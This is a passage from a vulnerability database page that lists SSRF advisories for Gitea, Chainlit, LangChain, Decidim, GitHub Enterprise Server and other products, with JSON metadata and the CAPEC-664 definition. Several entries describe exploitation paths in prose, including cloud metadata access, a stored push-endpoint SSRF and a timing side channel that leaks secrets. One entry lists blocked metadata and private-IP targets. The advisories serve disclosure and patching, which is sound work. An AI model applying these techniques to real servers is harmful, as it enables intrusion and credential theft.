      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-2fcr-jfvc-vgg2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Two SSRF findings"
}

GHSA-2FF4-QHX5-WWHW

Vulnerability from github – Published: 2022-05-24 17:07 – Updated: 2022-05-25 00:00
VLAI
Details

SysJust Syuan-Gu-Da-Shih, versions before 20191223, contain vulnerability of Request Forgery, allowing attackers to launch inquiries into network architecture or system files of the server via forged inquests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-04T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SysJust Syuan-Gu-Da-Shih, versions before 20191223, contain vulnerability of Request Forgery, allowing attackers to launch inquiries into network architecture or system files of the server via forged inquests.",
  "id": "GHSA-2ff4-qhx5-wwhw",
  "modified": "2022-05-25T00:00:19Z",
  "published": "2022-05-24T17:07:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3938"
    },
    {
      "type": "WEB",
      "url": "https://tvn.twcert.org.tw/taiwanvn/TVN-201910014"
    },
    {
      "type": "WEB",
      "url": "https://www.chtsecurity.com/news/a791f509-9782-4be1-b71f-22fc619f8215"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FX6-2PM7-CWVM

Vulnerability from github – Published: 2023-11-13 03:30 – Updated: 2026-04-28 21:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Vova Anokhin WP Shortcodes Plugin — Shortcodes Ultimate.This issue affects WP Shortcodes Plugin — Shortcodes Ultimate: from n/a through 5.12.6.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-13T03:15:08Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Vova Anokhin WP Shortcodes Plugin \u2014 Shortcodes Ultimate.This issue affects WP Shortcodes Plugin \u2014 Shortcodes Ultimate: from n/a through 5.12.6.",
  "id": "GHSA-2fx6-2pm7-cwvm",
  "modified": "2026-04-28T21:33:07Z",
  "published": "2023-11-13T03:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23800"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/shortcodes-ultimate/wordpress-shortcodes-ultimate-plugin-5-12-6-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2G36-547G-JQ4M

Vulnerability from github – Published: 2022-10-15 12:01 – Updated: 2022-10-20 19:00
VLAI
Details

A security issue was discovered in WeBid <=1.2.2. A Server-Side Request Forgery (SSRF) vulnerability in the admin/theme.php file allows remote attackers to inject payloads via theme parameters to read files across directories.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-14T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A security issue was discovered in WeBid \u003c=1.2.2. A Server-Side Request Forgery (SSRF) vulnerability in the admin/theme.php file allows remote attackers to inject payloads via theme parameters to read files across directories.",
  "id": "GHSA-2g36-547g-jq4m",
  "modified": "2022-10-20T19:00:36Z",
  "published": "2022-10-15T12:01:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zer0yu/CVE_Request/blob/master/Webid/WeBid_Path_Traversal.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2G59-M95P-PGFQ

Vulnerability from github – Published: 2026-01-20 00:30 – Updated: 2026-02-02 22:22
VLAI
Summary
Chainlit contain a server-side request forgery (SSRF) vulnerability
Details

Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "chainlit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:07:02Z",
    "nvd_published_at": "2026-01-20T00:15:49Z",
    "severity": "HIGH"
  },
  "details": "Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.",
  "id": "GHSA-2g59-m95p-pgfq",
  "modified": "2026-02-02T22:22:24Z",
  "published": "2026-01-20T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22219"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/commit/ffc3cce648b343b933e10e85ee5805c7e02ab3bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Chainlit/chainlit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/releases/tag/2.9.4"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/chainlit-sqlalchemy-data-layer-ssrf-via-project-element"
    },
    {
      "type": "WEB",
      "url": "https://www.zafran.io/resources/chainleak-critical-ai-framework-vulnerabilities-expose-data-enable-cloud-takeover"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Chainlit contain a server-side request forgery (SSRF) vulnerability"
}

GHSA-2G6R-C272-W58R

Vulnerability from github – Published: 2026-02-11 14:23 – Updated: 2026-02-11 14:23
VLAI
Summary
LangChain affected by SSRF via image_url token counting in ChatOpenAI.get_num_tokens_from_messages
Details

Server-Side Request Forgery (SSRF) in ChatOpenAI Image Token Counting

Summary

The ChatOpenAI.get_num_tokens_from_messages() method fetches arbitrary image_url values without validation when computing token counts for vision-enabled models. This allows attackers to trigger Server-Side Request Forgery (SSRF) attacks by providing malicious image URLs in user input.

Severity

Low - The vulnerability allows SSRF attacks but has limited impact due to: - Responses are not returned to the attacker (blind SSRF) - Default 5-second timeout limits resource exhaustion - Non-image responses fail at PIL image parsing

Impact

An attacker who can control image URLs passed to get_num_tokens_from_messages() can: - Trigger HTTP requests from the application server to arbitrary internal or external URLs - Cause the server to access internal network resources (private IPs, cloud metadata endpoints) - Cause minor resource consumption through image downloads (bounded by timeout)

Note: This vulnerability occurs during token counting, which may happen outside of model invocation (e.g., in logging, metrics, or token budgeting flows).

Details

The vulnerable code path: 1. get_num_tokens_from_messages() processes messages containing image_url content blocks 2. For images without detail: "low", it calls _url_to_size() to fetch the image and compute token counts 3. _url_to_size() performs httpx.get(image_source) on any URL without validation 4. Prior to the patch, there was no SSRF protection, size limits, or explicit timeout

File: libs/partners/openai/langchain_openai/chat_models/base.py

Patches

The vulnerability has been patched in langchain-openai==1.1.9 (requires langchain-core==1.2.11).

The patch adds: 1. SSRF validation using langchain_core._security._ssrf_protection.validate_safe_url() to block: - Private IP ranges (RFC 1918, loopback, link-local) - Cloud metadata endpoints (169.254.169.254, etc.) - Invalid URL schemes 2. Explicit size limits (50 MB maximum, matching OpenAI's payload limit) 3. Explicit timeout (5 seconds, same as httpx.get default) 4. Allow disabling image fetching via allow_fetching_images=False parameter

Workarounds

If you cannot upgrade immediately:

  1. Sanitize input: Validate and filter image_url values before passing messages to token counting or model invocation
  2. Use network controls: Implement egress filtering to prevent outbound requests to private IPs
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langchain-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-11T14:23:13Z",
    "nvd_published_at": "2026-02-10T22:17:00Z",
    "severity": "LOW"
  },
  "details": "## Server-Side Request Forgery (SSRF) in ChatOpenAI Image Token Counting\n\n### Summary\nThe `ChatOpenAI.get_num_tokens_from_messages()` method fetches arbitrary `image_url` values without validation when computing token counts for vision-enabled models. This allows attackers to trigger Server-Side Request Forgery (SSRF) attacks by providing malicious image URLs in user input.\n\n### Severity\n**Low** - The vulnerability allows SSRF attacks but has limited impact due to:\n- Responses are not returned to the attacker (blind SSRF)\n- Default 5-second timeout limits resource exhaustion\n- Non-image responses fail at PIL image parsing\n\n### Impact\nAn attacker who can control image URLs passed to `get_num_tokens_from_messages()` can:\n- Trigger HTTP requests from the application server to arbitrary internal or external URLs\n- Cause the server to access internal network resources (private IPs, cloud metadata endpoints)\n- Cause minor resource consumption through image downloads (bounded by timeout)\n\n**Note:** This vulnerability occurs during token counting, which may happen outside of model invocation (e.g., in logging, metrics, or token budgeting flows).\n\n### Details\nThe vulnerable code path:\n1. `get_num_tokens_from_messages()` processes messages containing `image_url` content blocks\n2. For images without `detail: \"low\"`, it calls `_url_to_size()` to fetch the image and compute token counts\n3. `_url_to_size()` performs `httpx.get(image_source)` on any URL without validation\n4. Prior to the patch, there was no SSRF protection, size limits, or explicit timeout\n\n**File:** `libs/partners/openai/langchain_openai/chat_models/base.py`\n\n### Patches\nThe vulnerability has been patched in `langchain-openai==1.1.9` (requires `langchain-core==1.2.11`).\n\nThe patch adds:\n1. **SSRF validation** using `langchain_core._security._ssrf_protection.validate_safe_url()` to block:\n   - Private IP ranges (RFC 1918, loopback, link-local)\n   - Cloud metadata endpoints (169.254.169.254, etc.)\n   - Invalid URL schemes\n2. **Explicit size limits** (50 MB maximum, matching OpenAI\u0027s payload limit)\n3. **Explicit timeout** (5 seconds, same as `httpx.get` default)\n4. **Allow disabling image fetching** via `allow_fetching_images=False` parameter\n\n### Workarounds\nIf you cannot upgrade immediately:\n\n1. **Sanitize input:** Validate and filter `image_url` values before passing messages to token counting or model invocation\n2. **Use network controls:** Implement egress filtering to prevent outbound requests to private IPs",
  "id": "GHSA-2g6r-c272-w58r",
  "modified": "2026-02-11T14:23:13Z",
  "published": "2026-02-11T14:23:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-2g6r-c272-w58r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26013"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/commit/2b4b1dc29a833d4053deba4c2b77a3848c834565"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langchain"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core%3D%3D1.2.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangChain affected by SSRF via image_url token counting in ChatOpenAI.get_num_tokens_from_messages"
}

GHSA-2G9C-VF8H-PRXX

Vulnerability from github – Published: 2026-07-13 17:19 – Updated: 2026-07-13 17:19
VLAI
Summary
Decidim: Push subscriptions can be abused for server-side requests
Details

Description

The push-subscription endpoint stores an attacker-controlled delivery URL, and the notification send path becomes an outbound-request sink when VAPID delivery is enabled. The practical result is an authenticated, stored, mostly blind SSRF primitive to arbitrary HTTPS endpoints reachable from the app server.

Technical description

When VAPID delivery is enabled, the notification subscription flow stores the client-supplied push endpoint without checking that it belongs to an approved push service. The send path later passes that stored URL to WebPush.payload_send, turning the subscription into an attacker-controlled outbound request destination. This is the source-to-sink chain:

  1. Source: attacker-controlled subscription.endpoint in the JSON body posted to POST /notifications_subscriptions.
  2. Persistence: params[:endpoint] is stored under user.notification_settings["subscriptions"].
  3. Retrieval: user.notifications_subscriptions.values returns that stored endpoint later.
  4. Sink: build_payload sets endpoint: subscription["endpoint"].
  5. Outbound request: WebPush.payload_send(**payload) uses the attacker-supplied endpoint as the destination.

One spec asserts that the endpoint is persisted exactly as supplied:

# decidim-core/spec/services/decidim/notifications_subscriptions_persistor_spec.rb
expect(user.notifications_subscriptions["auth_code_121"]["endpoint"]).to eq(params[:endpoint])

Another spec asserts that SendPushNotification passes the stored endpoint into WebPush.payload_send:

# decidim-core/spec/services/decidim/send_push_notification_spec.rb
first_notification_payload = {
  message:,
  endpoint: subscriptions["auth_key_1"]["endpoint"],
  p256dh: subscriptions["auth_key_1"]["p256dh"],
  auth: subscriptions["auth_key_1"]["auth"],
  vapid: a_hash_including(...)
}
expect(WebPush).to receive(:payload_send).with(first_notification_payload)

Impact

  • In a configured deployment, an authenticated user can register an attacker-controlled or otherwise unauthorized HTTPS URL.
  • The server then sends outbound POST requests there whenever a notification is pushed.
  • This is a stored, mostly blind SSRF primitive: useful for outbound interaction with attacker infrastructure and, where routable, internal HTTPS services.
  • Notification metadata is disclosed to the supplied endpoint through the encrypted web push request path.

Patches

See https://github.com/decidim/decidim/pull/16714.

Workarounds

Disable the push notifications feature by removing the VAPID keys in the server.

Resource

SSRF

Credits

This issue was discovered in a security audit organized by the Decidim Association and made by Radically Open Security against Decidim financed by NGI.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "decidim-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "decidim-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.31.0.rc1"
            },
            {
              "fixed": "0.31.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "decidim-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.32.0.rc1"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-13T17:19:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nThe push-subscription endpoint stores an attacker-controlled delivery URL, and the notification send path becomes an outbound-request sink when VAPID delivery is enabled. The practical result is an authenticated, stored, mostly blind SSRF primitive to arbitrary HTTPS endpoints reachable from the app server.\n\n## Technical description\n \nWhen VAPID delivery is enabled, the notification subscription flow stores the client-supplied push endpoint without checking that it belongs to an approved push service. The send path later passes that stored URL to `WebPush.payload_send`, turning the subscription into an attacker-controlled outbound request destination.\nThis is the source-to-sink chain:\n\n1. Source: attacker-controlled `subscription.endpoint` in the JSON body posted to `POST /notifications_subscriptions`.\n2. Persistence: `params[:endpoint]` is stored under `user.notification_settings[\"subscriptions\"]`.\n3. Retrieval: `user.notifications_subscriptions.values` returns that stored endpoint later.\n4. Sink: `build_payload` sets `endpoint: subscription[\"endpoint\"]`.\n5. Outbound request: `WebPush.payload_send(**payload)` uses the attacker-supplied endpoint as the\ndestination.\n\nOne spec asserts that the endpoint is persisted exactly as supplied:\n\n```ruby\n# decidim-core/spec/services/decidim/notifications_subscriptions_persistor_spec.rb\nexpect(user.notifications_subscriptions[\"auth_code_121\"][\"endpoint\"]).to eq(params[:endpoint])\n```\n\nAnother spec asserts that `SendPushNotification` passes the stored endpoint into `WebPush.payload_send`:\n\n```ruby\n# decidim-core/spec/services/decidim/send_push_notification_spec.rb\nfirst_notification_payload = {\n  message:,\n  endpoint: subscriptions[\"auth_key_1\"][\"endpoint\"],\n  p256dh: subscriptions[\"auth_key_1\"][\"p256dh\"],\n  auth: subscriptions[\"auth_key_1\"][\"auth\"],\n  vapid: a_hash_including(...)\n}\nexpect(WebPush).to receive(:payload_send).with(first_notification_payload)\n```\n\n### Impact\n\n- In a configured deployment, an authenticated user can register an attacker-controlled or otherwise unauthorized HTTPS URL.\n- The server then sends outbound `POST` requests there whenever a notification is pushed.\n- This is a stored, mostly blind SSRF primitive: useful for outbound interaction with attacker infrastructure and, where routable, internal HTTPS services.\n- Notification metadata is disclosed to the supplied endpoint through the encrypted web push request path.\n\n### Patches\n\nSee https://github.com/decidim/decidim/pull/16714.\n\n### Workarounds\n\nDisable the push notifications feature by removing the VAPID keys in the server.\n\n### Resource\n\nSSRF\n\n### Credits\n\nThis issue was discovered in a security audit organized by the [Decidim Association](https://decidim.org) and made by [Radically Open Security](https://www.radicallyopensecurity.com/) against Decidim financed by [NGI](https://ngi.eu/).",
  "id": "GHSA-2g9c-vf8h-prxx",
  "modified": "2026-07-13T17:19:17Z",
  "published": "2026-07-13T17:19:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decidim/decidim/security/advisories/GHSA-2g9c-vf8h-prxx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decidim/decidim/pull/16714"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decidim/decidim"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Decidim: Push subscriptions can be abused for server-side requests"
}

GHSA-2GQ9-2C38-4PVG

Vulnerability from github – Published: 2025-11-18 15:30 – Updated: 2025-11-18 15:30
VLAI
Details

The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.8 via the rest_helpers_create_images function. This makes it possible for authenticated attackers, with Editor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On Cloud instances, this issue allows for metadata retrieving.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-8084"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-18T15:16:38Z",
    "severity": "MODERATE"
  },
  "details": "The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.8 via the rest_helpers_create_images function. This makes it possible for authenticated attackers, with Editor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On Cloud instances, this issue allows for metadata retrieving.",
  "id": "GHSA-2gq9-2c38-4pvg",
  "modified": "2025-11-18T15:30:56Z",
  "published": "2025-11-18T15:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8084"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ai-engine/tags/2.9.5/classes/rest.php#L742"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ai-engine/tags/2.9.5/classes/services/image.php#L89"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3b497bc0-bf47-43c7-9d5f-8e130dd0bab2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GR8-2HF5-X695

Vulnerability from github – Published: 2026-04-22 00:31 – Updated: 2026-04-28 21:36
VLAI
Details

A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to extract sensitive environment variables from the instance through a timing side-channel attack against the notebook rendering service. When private mode was disabled, the notebook viewer followed HTTP redirects without revalidating the destination host, enabling an unauthenticated SSRF to internal services. By chaining this with regex filter queries against an internal API and measuring response time differences, an attacker could infer secret values character by character. Exploitation required that private mode be disabled and that the attacker be able to chain the instance's open redirect endpoint through an external redirect to reach internal services. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.14.26, 3.15.21, 3.16.17, 3.17.14, 3.18.8, 3.19.5, and 3.20.1. This vulnerability was reported via the GitHub Bug Bounty program.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T23:16:22Z",
    "severity": "HIGH"
  },
  "details": "A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to extract sensitive environment variables from the instance through a timing side-channel attack against the notebook rendering service. When private mode was disabled, the notebook viewer followed HTTP redirects without revalidating the destination host, enabling an unauthenticated SSRF to internal services. By chaining this with regex filter queries against an internal API and measuring response time differences, an attacker could infer secret values character by character. Exploitation required that private mode be disabled and that the attacker be able to chain the instance\u0027s open redirect endpoint through an external redirect to reach internal services.\u00a0This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.14.26, 3.15.21, 3.16.17, 3.17.14, 3.18.8, 3.19.5, and 3.20.1. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-2gr8-2hf5-x695",
  "modified": "2026-04-28T21:36:01Z",
  "published": "2026-04-22T00:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5921"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.26"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.15/admin/release-notes#3.15.21"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.17"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.14"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.8"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.5"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.